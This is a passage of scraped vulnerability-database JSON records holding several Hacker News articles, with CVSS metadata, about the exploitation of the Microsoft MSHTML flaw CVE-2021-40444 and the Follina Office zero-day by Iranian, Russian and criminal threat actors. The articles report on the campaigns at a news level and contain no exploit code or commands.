"[![](https://thehackernews.com/new-images/img/a/AVvXsEjYUPLUjcZm_IOi_2W8OCO67vRS3dKYHbn9uyV27yUDW18dhUv8jXFX9JDvQYw6FCzwj__3eQkTEwAOG-s6nigko_jBV77WQl46SxYEsGMQxc5g2hIFfR11hGm-vi1oobscaw6jTNgq2ed6ZN5OE9wz9JHWzNk0PH1xq9WzsWMs18Gk_P_yhPWT0YQm)](<https://thehackernews.com/new-images/img/a/AVvXsEjYUPLUjcZm_IOi_2W8OCO67vRS3dKYHbn9uyV27yUDW18dhUv8jXFX9JDvQYw6FCzwj__3eQkTEwAOG-s6nigko_jBV77WQl46SxYEsGMQxc5g2hIFfR11hGm-vi1oobscaw6jTNgq2ed6ZN5OE9wz9JHWzNk0PH1xq9WzsWMs18Gk_P_yhPWT0YQm>)\n\nA new Iranian threat actor has been discovered exploiting a now-addressed critical flaw in the Microsoft Windows MSHTML platform to target Farsi-speaking victims with a previously undocumented PowerShell-based information stealer designed to harvest extensive details from infected machines.\n\n\"[T]he stealer is a PowerShell script, short with powerful collection capabilities \u2014 in only ~150 lines, it provides the adversary a lot of critical information including screen captures, Telegram files, document collection, and extensive data about the victim's environment,\" SafeBreach Labs researcher Tomer Bar [said](<https://www.safebreach.com/blog/2021/new-powershortshell-stealer-exploits-recent-microsoft-mshtml-vulnerability-to-spy-on-farsi-speakers/>) in a report published Wednesday.\n\nNearly half of the targets are from the U.S., with the cybersecurity firm noting that the attacks are likely aimed at \"Iranians who live abroad and might be seen as a threat to Iran's Islamic regime.\"\n\nThe phishing campaign, which began in July 2021, involved the exploitation of CVE-2021-40444, a remote code execution flaw that could be exploited using specially crafted Microsoft Office documents. The vulnerability was [patched](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>) by Microsoft in September 2021, weeks after [reports](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) of active exploitation emerged in the wild.\n\n[![](https://thehackernews.com/new-images/img/a/AVvXsEgHnByMecpjc8CwGXlYLKRdnKgH6K5l2WpL2UN8Tsn4OgwoQxswAm4WoSD9d7rUtLNPFN59Z11rRxwTC3ZRa4tu-3rpZvcB0cO59nDNhYGmpe6L38Tx8Y-merXNp54673AbqS20eHA5cJ4CBUQ0KjBxCH5it3HfxkZ0_bBtO1JWp3_1j6rxKqM_SMJv)](<https://thehackernews.com/new-images/img/a/AVvXsEgHnByMecpjc8CwGXlYLKRdnKgH6K5l2WpL2UN8Tsn4OgwoQxswAm4WoSD9d7rUtLNPFN59Z11rRxwTC3ZRa4tu-3rpZvcB0cO59nDNhYGmpe6L38Tx8Y-merXNp54673AbqS20eHA5cJ4CBUQ0KjBxCH5it3HfxkZ0_bBtO1JWp3_1j6rxKqM_SMJv>)\n\n\"An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights,\" the Windows maker had noted.\n\nThe attack sequence described by SafeBreach begins with the targets receiving a spear-phishing email that comes with a Word document as an attachment. Opening the file triggers the exploit for CVE-2021-40444, resulting in the execution of a PowerShell script dubbed \"PowerShortShell\" that's capable of hoovering sensitive information and transmitting them to a command-and-control (C2) server.\n\nWhile infections involving the deployment of the info-stealer were observed on September 15, a day after Microsoft issued patches for the flaw, the aforementioned C2 server was also employed to harvest victims' Gmail and Instagram credentials as part of two phishing campaigns staged by the same adversary in July 2021. \n\nThe development is the latest in a string of attacks that have capitalized on the MSTHML rendering engine flaw, with Microsoft previously [disclosing](<https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html>) a targeted phishing campaign that abused the vulnerability as part of an initial access campaign to distribute custom Cobalt Strike Beacon loaders.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-25T11:33:00", "type": "thn", "title": "Hackers Using Microsoft MSHTML Flaw to Spy on Targeted PCs with Malware", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-22T07:07:24", "id": "THN:C4188C7A44467E425407D33067C14094", "href": "https://thehackernews.com/2021/11/hackers-using-microsoft-mshtml-flaw-to.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-30T17:38:47", "description": "[![](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgi3RXvGtPoTC8ufDqadLbye4bhkJjWs-Un41xcwOWrqQPpLekG-pG0Xxk-or-GInK-LQOG7QDpCF3p4FVNPMxdNLSsl4TgenAVq4LOJcfYcZ0LcgQ0zlwru8TY2ff5ffd7EEPtwFERwA4hDGj0uKeJYZBw1AGUroAFwL-QXSJrDONv8gHe7E2ghPpr/s728-e100/hacking-code.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgi3RXvGtPoTC8ufDqadLbye4bhkJjWs-Un41xcwOWrqQPpLekG-pG0Xxk-or-GInK-LQOG7QDpCF3p4FVNPMxdNLSsl4TgenAVq4LOJcfYcZ0LcgQ0zlwru8TY2ff5ffd7EEPtwFERwA4hDGj0uKeJYZBw1AGUroAFwL-QXSJrDONv8gHe7E2ghPpr/s728-e100/hacking-code.jpg>)\n\nCybersecurity researchers are calling attention to a zero-day flaw in Microsoft Office that could be abused to achieve arbitrary code execution on affected Windows systems.\n\nThe vulnerability came to light after an independent cybersecurity research team known as nao_sec uncovered a Word document (\"[05-2022-0438.doc](<https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection>)\") that was uploaded to VirusTotal from an IP address in Belarus.\n\n\"It uses Word's external link to load the HTML and then uses the 'ms-msdt' scheme to execute PowerShell code,\" the researchers [noted](<https://twitter.com/nao_sec/status/1530196847679401984>) in a series of tweets last week.\n\nAccording to security researcher Kevin Beaumont, who dubbed the flaw \"Follina,\" the maldoc leverages Word's [remote template](<https://attack.mitre.org/techniques/T1221/>) feature to fetch an HTML file from a server, which then makes use of the \"ms-msdt://\" URI scheme to run the malicious payload.\n\nThe shortcoming has been so named because the malicious sample references 0438, which is the area code of Follina, a municipality in the Italian city of Treviso.\n\n[MSDT](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt>) is short for Microsoft Support Diagnostics Tool, a utility that's used to troubleshoot and collect diagnostic data for analysis by support professionals to resolve a problem.\n\n\"There's a lot going on here, but the first problem is Microsoft Word is executing the code via msdt (a support tool) even if macros are disabled,\" Beaumont [explained](<https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e>).\n\n\"[Protected View](<https://support.microsoft.com/en-us/topic/what-is-protected-view-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653>) does kick in, although if you change the document to RTF form, it runs without even opening the document (via the preview tab in Explorer) let alone Protected View,\" the researcher added.\n\nIn a standalone analysis, cybersecurity company Huntress Labs detailed the attack flow, noting the HTML file (\"RDF842l.html\") that triggers the exploit originated from a now-unreachable domain named \"xmlformats[.]com.\"\n\n\"A Rich Text Format file (.RTF) could trigger the invocation of this exploit with just the Preview Pane within Windows Explorer,\" Huntress Labs' John Hammond [said](<https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug>). \"Much like CVE-2021-40444, this extends the severity of this threat by not just 'single-click' to exploit, but potentially with a 'zero-click' trigger.\"\n\nMultiple Microsoft Office versions, including Office, Office 2016, and Office 2021, are said to be affected, although other versions are expected to be vulnerable as well.\n\nWhat's more, Richard Warren of NCC Group [managed](<https://twitter.com/buffaloverflow/status/1530866518279565312>) to demonstrate an exploit on Office Professional Pro with April 2022 patches running on an up-to-date Windows 11 machine with the preview pane enabled.\n\n\"Microsoft are going to need to patch it across all the different product offerings, and security vendors will need robust detection and blocking,\" Beaumont said. We have reached out to Microsoft for comment, and we'll update the story once we hear back.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-30T09:40:00", "type": "thn", "title": "Watch Out! Researchers Spot New Microsoft Office Zero-Day Exploit in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-05-30T15:44:33", "id": "THN:E7762183A6F7B3DDB942D3F1F99748F6", "href": "https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:18", "description": "[![](https://thehackernews.com/images/-3vEprTVA4BI/YULvTEzYNCI/AAAAAAAADz0/RpSk1fU9GbcY7e98Gg2r8aBRvy73Z52kACLcBGAsYHQ/s0/cyberattack.jpg)](<https://thehackernews.com/images/-3vEprTVA4BI/YULvTEzYNCI/AAAAAAAADz0/RpSk1fU9GbcY7e98Gg2r8aBRvy73Z52kACLcBGAsYHQ/s0/cyberattack.jpg>)\n\nMicrosoft on Wednesday disclosed details of a targeted phishing campaign that leveraged a now-patched zero-day flaw in its MSHTML platform using specially-crafted Office documents to deploy Cobalt Strike Beacon on compromised Windows systems.\n\n\"These attacks used the vulnerability, tracked as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>), as part of an initial access campaign that distributed custom Cobalt Strike Beacon loaders,\" Microsoft Threat Intelligence Center [said](<https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/>) in a technical write-up. \"These loaders communicated with an infrastructure that Microsoft associates with multiple cybercriminal campaigns, including human-operated ransomware.\"\n\nDetails about CVE-2021-40444 (CVSS score: 8.8) first [emerged](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) on September 7 after researchers from EXPMON alerted the Windows maker about a \"highly sophisticated zero-day attack\" aimed at Microsoft Office users by taking advantage of a remote code execution vulnerability in MSHTML (aka Trident), a proprietary browser engine for the now-discontinued Internet Explorer and which is used in Office to render web content inside Word, Excel, and PowerPoint documents.\n\n\"The observed attack vector relies on a malicious ActiveX control that could be loaded by the browser rendering engine using a malicious Office document,\" the researchers noted. Microsoft has since [rolled out a fix](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>) for the vulnerability as part of its Patch Tuesday updates a week later on September 14.\n\nThe Redmond-based tech giant attributed the activities to related cybercriminal clusters it tracks as DEV-0413 and DEV-0365, the latter of which is the company's moniker for the emerging threat group associated with creating and managing the Cobalt Strike infrastructure used in the attacks. The earliest exploitation attempt by DEV-0413 dates back to August 18.\n\nThe exploit delivery mechanism originates from emails impersonating contracts and legal agreements hosted on file-sharing sites. Opening the malware-laced document leads to the download of a Cabinet archive file containing a DLL bearing an INF file extension that, when decompressed, leads to the execution of a function within that DLL. The DLL, in turn, retrieves remotely hosted shellcode \u2014 a custom Cobalt Strike Beacon loader \u2014 and loads it into the Microsoft address import tool.\n\nAdditionally, Microsoft said some of the infrastructures that were used by DEV-0413 to host the malicious artifacts were also involved in the delivery of BazaLoader and Trickbot payloads, a separate set of activities the company monitors under the codename DEV-0193 (and by Mandiant as UNC1878).\n\n\"At least one organization that was successfully compromised by DEV-0413 in their August campaign was previously compromised by a wave of similarly-themed malware that interacted with DEV-0365 infrastructure almost two months before the CVE-2021-40444 attack,\" the researchers said. \"It is currently not known whether the retargeting of this organization was intentional, but it reinforces the connection between DEV-0413 and DEV-0365 beyond sharing of infrastructure.\"\n\nIn an independent investigation, Microsoft's RiskIQ subsidiary attributed the attacks with high confidence to a ransomware syndicate known as Wizard Spider aka Ryuk, noting that the network infrastructure employed to provide command-and-control to the Cobalt Strike Beacon implants spanned more than 200 active servers.\n\n\"The association of a zero-day exploit with a ransomware group, however remote, is troubling,\" RiskIQ researchers [said](<https://www.riskiq.com/blog/external-threat-management/wizard-spider-windows-0day-exploit/>). It suggests either that turnkey tools like zero-day exploits have found their way into the already robust ransomware-as-a-service (RaaS) ecosystem or that the more operationally sophisticated groups engaged in traditional, government-backed espionage are using criminally controlled infrastructure to misdirect and impede attribution.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-16T07:19:00", "type": "thn", "title": "Windows MSHTML 0-Day Exploited to Deploy Cobalt Strike Beacon in Targeted Attacks", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-12T15:17:20", "id": "THN:59AE75C78D4644BFA6AD90225B3DE0C1", "href": "https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:39", "description": "[![MSHTML Flaw](https://thehackernews.com/new-images/img/a/AVvXsEjqkUGrj098m-d_WWiB3rvM91Eu1x3fZweKFwfNSYwVrZToTWUlCh3s3UvHQIXtbPP4vPubJ_dEdC7jSX7gGkeScLCqYsa37Zuw_hFBK6g9FbzvO5nMZPrRUk6fjS1F01cduuDD_mnZ-OKnauen-xJmprSHgWH_jmx8MYUffZvp4uojtUBzm6BbCwIZ=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEjqkUGrj098m-d_WWiB3rvM91Eu1x3fZweKFwfNSYwVrZToTWUlCh3s3UvHQIXtbPP4vPubJ_dEdC7jSX7gGkeScLCqYsa37Zuw_hFBK6g9FbzvO5nMZPrRUk6fjS1F01cduuDD_mnZ-OKnauen-xJmprSHgWH_jmx8MYUffZvp4uojtUBzm6BbCwIZ>)\n\nCybersecurity researchers on Tuesday took the wraps off a multi-stage espionage campaign targeting high-ranking government officials overseeing national security policy and individuals in the defense industry in Western Asia.\n\nThe attack is unique as it leverages Microsoft OneDrive as a command-and-control (C2) server and is split into as many as six stages to stay as hidden as possible, Trellix \u2014 a new company created following the merger of security firms McAfee Enterprise and FireEye \u2014 said in a [report](<https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html>) shared with The Hacker News.\n\n\"This type of communication allows the malware to go unnoticed in the victims' systems since it will only connect to legitimate Microsoft domains and won't show any suspicious network traffic,\" Trellix explained.\n\nFirst signs of activity associated with the covert operation are said to have commenced as early as June 18, 2021, with two victims reported on September 21 and 29, followed by 17 more in a short span of three days between October 6 and 8.\n\n\"The attack is particularly unique due to the prominence of its victims, the use of a recent [security flaw], and the use of an attack technique that the team had not seen before,\" Christiaan Beek, lead scientist at Trellix, said. \"The objective was clearly espionage.\"\n\nTrellix attributed the sophisticated attacks with moderate confidence to the Russia-based [APT28](<https://malpedia.caad.fkie.fraunhofer.de/actor/sofacy>) group, also tracked under the monikers Sofacy, Strontium, Fancy Bear, and Sednit, based on similarities in the source code as well as in the attack indicators and geopolitical objectives.\n\n[![MSHTML Flaw](https://thehackernews.com/new-images/img/a/AVvXsEiHATh-_6CXq1DE4gF63tRFptoK4b3k33uBkDfc-JwaJRbLhn0cxU2JHUh5A-0U_AsQ3XgqvcFjPKtR6AVo-_daYwK8-jLWPGzamt2d7MjD1zstHO8IFPqdv3NTZU3GvsI_Wdk9Q7rG6zd84PEcawqbp7bJMrog9xoaUDkiJadygQnO1Wh-qdlH79xN=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEiHATh-_6CXq1DE4gF63tRFptoK4b3k33uBkDfc-JwaJRbLhn0cxU2JHUh5A-0U_AsQ3XgqvcFjPKtR6AVo-_daYwK8-jLWPGzamt2d7MjD1zstHO8IFPqdv3NTZU3GvsI_Wdk9Q7rG6zd84PEcawqbp7bJMrog9xoaUDkiJadygQnO1Wh-qdlH79xN>)\n\n\"We are supremely confident that we are dealing with a very skilled actor based on how infrastructure, malware coding and operation were set up,\" Trellix security researcher Marc Elias said.\n\nThe infection chain begins with the execution of a Microsoft Excel file containing an exploit for the MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>)), which is used to run a malicious binary that acts as the downloader for a third-stage malware dubbed Graphite.\n\nThe DLL executable uses OneDrive as the C2 server via the Microsoft Graph API to retrieve additional stager malware that ultimately downloads and executes [Empire](<https://attack.mitre.org/software/S0363/>), an open-source PowerShell-based post-exploitation framework widely abused by threat actors for follow-on activities.\n\n\"Using the Microsoft OneDrive as a command-and-control Server mechanism was a surprise, a novel way of quickly interacting with the infected machines by dragging the encrypted commands into the victim's folders,\" Beek explained. \"Next OneDrive would sync with the victim\u2019s machines and encrypted commands being executed, whereafter the requested info was encrypted and sent back to the OneDrive of the attacker.\"\n\nIf anything, the development marks the continued exploitation of the MSTHML rendering engine flaw, with [Microsoft](<https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html>) and [SafeBreach Labs](<https://thehackernews.com/2021/11/hackers-using-microsoft-mshtml-flaw-to.html>) disclosing multiple campaigns that have weaponized the vulnerability to plant malware and distribute custom Cobalt Strike Beacon loaders.\n\n\"The main takeaway is to highlight the level of access threat campaigns, and in particular how capable threat actors are able to permeate the most senior levels of government,\" Raj Samani, chief scientist and fellow at Trellix told The Hacker News. \"It is of paramount importance that security practitioners tasked with protecting such high value systems consider additional security measures to prevent, detect and remediate against such hostile actions.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-01-25T14:04:00", "type": "thn", "title": "Hackers Exploited MSHTML Flaw to Spy on Government and Defense Targets", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-01-29T08:06:51", "id": "THN:BD014635C5F702379060A20290985162", "href": "https://thehackernews.com/2022/01/hackers-exploited-mshtml-flaw-to-spy-on.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-10-02T06:04:33", "description": "[![PowerPoint Mouseover Trick](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgRdLCnYaPXc_hVvRWhZ1nKYDtBRo6rwk1xGSO3wDrqcJ04igkpjKQyuyHKgmgeHL6GS7XLJjB6WCffBWb-ntXiCGFrcggxS3t1sQxo2LiuX7WI9F-gwW3tPRARSzEWceyzsLgu1VSyZndaF36ZhDlzpBRvkHLp7Ao_zaUYJmthkY4IZN4znwcyRdpY/s728-e1000/hacking.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgRdLCnYaPXc_hVvRWhZ1nKYDtBRo6rwk1xGSO3wDrqcJ04igkpjKQyuyHKgmgeHL6GS7XLJjB6WCffBWb-ntXiCGFrcggxS3t1sQxo2LiuX7WI9F-gwW3tPRARSzEWceyzsLgu1VSyZndaF36ZhDlzpBRvkHLp7Ao_zaUYJmthkY4IZN4znwcyRdpY/s728-e100/hacking.jpg>)\n\nThe Russian state-sponsored threat actor known as [APT28](<https://thehackernews.com/2022/09/researchers-identify-3-hacktivist.html>) has been found leveraging a new code execution method that makes use of mouse movement in decoy Microsoft PowerPoint documents to deploy malware.\n\nThe technique \"is designed to be triggered when the user starts the presentation mode and moves the mouse,\" cybersecurity firm Cluster25 [said](<https://blog.cluster25.duskrise.com/2022/09/23/in-the-footsteps-of-the-fancy-bear-powerpoint-graphite/>) in a technical report. \"The code execution runs a PowerShell script that downloads and executes a dropper from OneDrive.\"\n\nThe dropper, a seemingly harmless image file, functions as a pathway for a follow-on payload, a variant of a malware known as Graphite, which uses the Microsoft Graph API and OneDrive for command-and-control (C2) communications to retrieve additional payloads.\n\nThe attack employs a lure document that makes use of a template potentially linked to the Organisation for Economic Co-operation and Development ([OECD](<https://en.wikipedia.org/wiki/OECD>)), a Paris-based intergovernmental entity.\n\n[![PowerPoint Mouseover Trick](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjM4urmpBb2OaNLBBurEzXMWD5Gc0bF0d-1A8k55IscX0Hlkq-v1VQ39Xj9y7iwnPFlRBxvY1w6ZlUWb5dYTHpIwA3gVd7mcXXY64dImoNQO7bXe84Wez6JCWTlrdS77BnSIF6DllbmNoGykj67hPrGivBZDqdvzOgXckRo6adoi5bgIMpmnmWEI4_Y/s728-e1000/ppt.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjM4urmpBb2OaNLBBurEzXMWD5Gc0bF0d-1A8k55IscX0Hlkq-v1VQ39Xj9y7iwnPFlRBxvY1w6ZlUWb5dYTHpIwA3gVd7mcXXY64dImoNQO7bXe84Wez6JCWTlrdS77BnSIF6DllbmNoGykj67hPrGivBZDqdvzOgXckRo6adoi5bgIMpmnmWEI4_Y/s728-e100/ppt.jpg>)\n\nCluster25 noted the attacks may be ongoing, considering that the URLs used in the attacks appeared active in August and September, although the hackers had previously laid the groundwork for the campaign between January and February.\n\nPotential targets of the operation likely include entities and individuals operating in the defense and government sectors of Europe and Eastern Europe, the company added, citing an analysis of geopolitical objectives and the gathered artifacts.\n\nThis is not the first time the adversarial collective has deployed Graphite. In January 2022, Trellix [disclosed](<https://thehackernews.com/2022/01/hackers-exploited-mshtml-flaw-to-spy-on.html>) a similar attack chain that exploited the MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>)) to drop the backdoor.\n\nThe development is a sign that APT28 (aka Fancy Bear) continues to hone its technical tradecraft and evolve its methods for maximum impact as exploitation routes once deemed viable (e.g., macros) cease to be profitable.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-09-28T10:09:00", "type": "thn", "title": "Hackers Using PowerPoint Mouseover Trick to Infect Systems with Malware", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-10-02T05:18:39", "id": "THN:B399D1943153CEEF405B85D4310C2142", "href": "https://thehackernews.com/2022/09/hackers-using-powerpoint-mouseover.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-21T15:55:37", "description": "[![](https://thehackernews.com/new-images/img/a/AVvXsEhTDhGSCLFNoe2MDkuwd-dbu3bKqPHtCuuSNeeosLJmQdiXnE3Hq_M2wsCJ9OqEk2ig0Jn0ITJ4RW9LkqUzEeWCBF6R1H6SS_wGXq_pLI3Y38VenthyRa2AlQQkCDlvzat6a-UDOxxvG3p-0r9ppLP1GKrMXdqPUW28Q6TZDz8v57TTuwc6KS6gi8pJ)](<https://thehackernews.com/new-images/img/a/AVvXsEhTDhGSCLFNoe2MDkuwd-dbu3bKqPHtCuuSNeeosLJmQdiXnE3Hq_M2wsCJ9OqEk2ig0Jn0ITJ4RW9LkqUzEeWCBF6R1H6SS_wGXq_pLI3Y38VenthyRa2AlQQkCDlvzat6a-UDOxxvG3p-0r9ppLP1GKrMXdqPUW28Q6TZDz8v57TTuwc6KS6gi8pJ>)\n\nGoogle's Threat Analysis Group (TAG) took the wraps off a new [initial access broker](<https://thehackernews.com/2021/11/blackberry-uncover-initial-access.html>) that it said is closely affiliated to a Russian cyber crime gang notorious for its Conti and Diavol ransomware operations.\n\nDubbed Exotic Lily, the financially motivated threat actor has been observed exploiting a now-patched critical flaw in the Microsoft Windows MSHTML platform ([CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>)) as part of widespread phishing campaigns that involved sending no fewer than 5,000 business proposal-themed emails a day to 650 targeted organizations globally.\n\n\"Initial access brokers are the opportunistic locksmiths of the security world, and it's a full-time job,\" TAG researchers Vlad Stolyarov and Benoit Sevens [said](<https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/>). \"These groups specialize in breaching a target in order to open the doors \u2014 or the Windows \u2014 to the malicious actor with the highest bid.\"\n\nExotic Lily, first spotted in September 2021, is said to have been involved in data exfiltration and deployment of the human-operated Conti and [Diavol](<https://thehackernews.com/2021/08/researchers-find-new-evidence-linking.html>) ransomware strains, both of which share overlaps with Wizard Spider, the Russian cyber criminal syndicate that's also known for operating [TrickBot](<https://thehackernews.com/2022/03/trickbot-malware-abusing-hacked-iot.html>), 